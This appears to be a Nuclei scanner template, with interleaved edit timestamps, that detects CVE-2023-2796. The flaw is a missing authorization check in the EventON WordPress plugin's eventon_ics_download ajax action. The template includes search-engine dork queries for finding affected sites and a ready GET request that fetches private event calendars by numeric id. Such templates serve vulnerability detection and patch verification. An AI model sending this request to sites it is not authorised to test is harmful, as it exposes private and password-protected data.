2023-07-11 12:32:11 +00:00
id : CVE-2023-2796
info :
2023-07-11 18:02:39 +00:00
name : EventON <= 2.1 - Missing Authorization
2023-07-11 12:32:11 +00:00
author : randomrobbie
severity : medium
description : |
The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
2023-09-06 11:43:37 +00:00
remediation : Fixed in version 2.1.2
2023-07-11 12:32:11 +00:00
reference :
- https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd
- https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d
- https://nvd.nist.gov/vuln/detail/CVE-2023-2796
2023-08-31 11:46:18 +00:00
- http://packetstormsecurity.com/files/173984/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
2023-07-11 12:32:11 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
2023-07-15 16:29:17 +00:00
cve-id : CVE-2023-2796
cwe-id : CWE-862
2023-10-14 11:27:55 +00:00
epss-score : 0.23651
2023-11-03 10:59:12 +00:00
epss-percentile : 0.96045
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
2023-07-11 12:32:11 +00:00
metadata :
2023-07-11 18:02:39 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 1
vendor : myeventon
product : eventon
framework : wordpress
2023-07-11 18:02:39 +00:00
shodan-query : 'vuln:CVE-2023-2796'
2023-07-11 12:32:11 +00:00
fofa-query : "wp-content/plugins/eventon/"
google-query : inurl:"/wp-content/plugins/eventon/"
2023-10-14 11:27:55 +00:00
tags : wpscan,packetstorm,cve,cve2023,wordpress,wp-plugin,wp,eventon,bypass
2023-07-11 12:32:11 +00:00
http :
- method : GET
path :
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"
matchers-condition : and
matchers :
- type : word
part : body
words :
- "BEGIN:VCALENDAR"
- "END:VCALENDAR"
condition : and
- type : word
part : header
words :
- "text/Calendar"
- type : status
status :
- 200
2023-11-02 07:14:22 +00:00
# digest: 4a0a00473045022100aea47b65502017df64482975b3be775081d30a3d6801747251fb1160eb615e8d02207bc65f039b915e80b58b7873e11ea581663d7bdda2478bbc7f591d4064bc358e:922c64590222798bb761d5b6d8e72950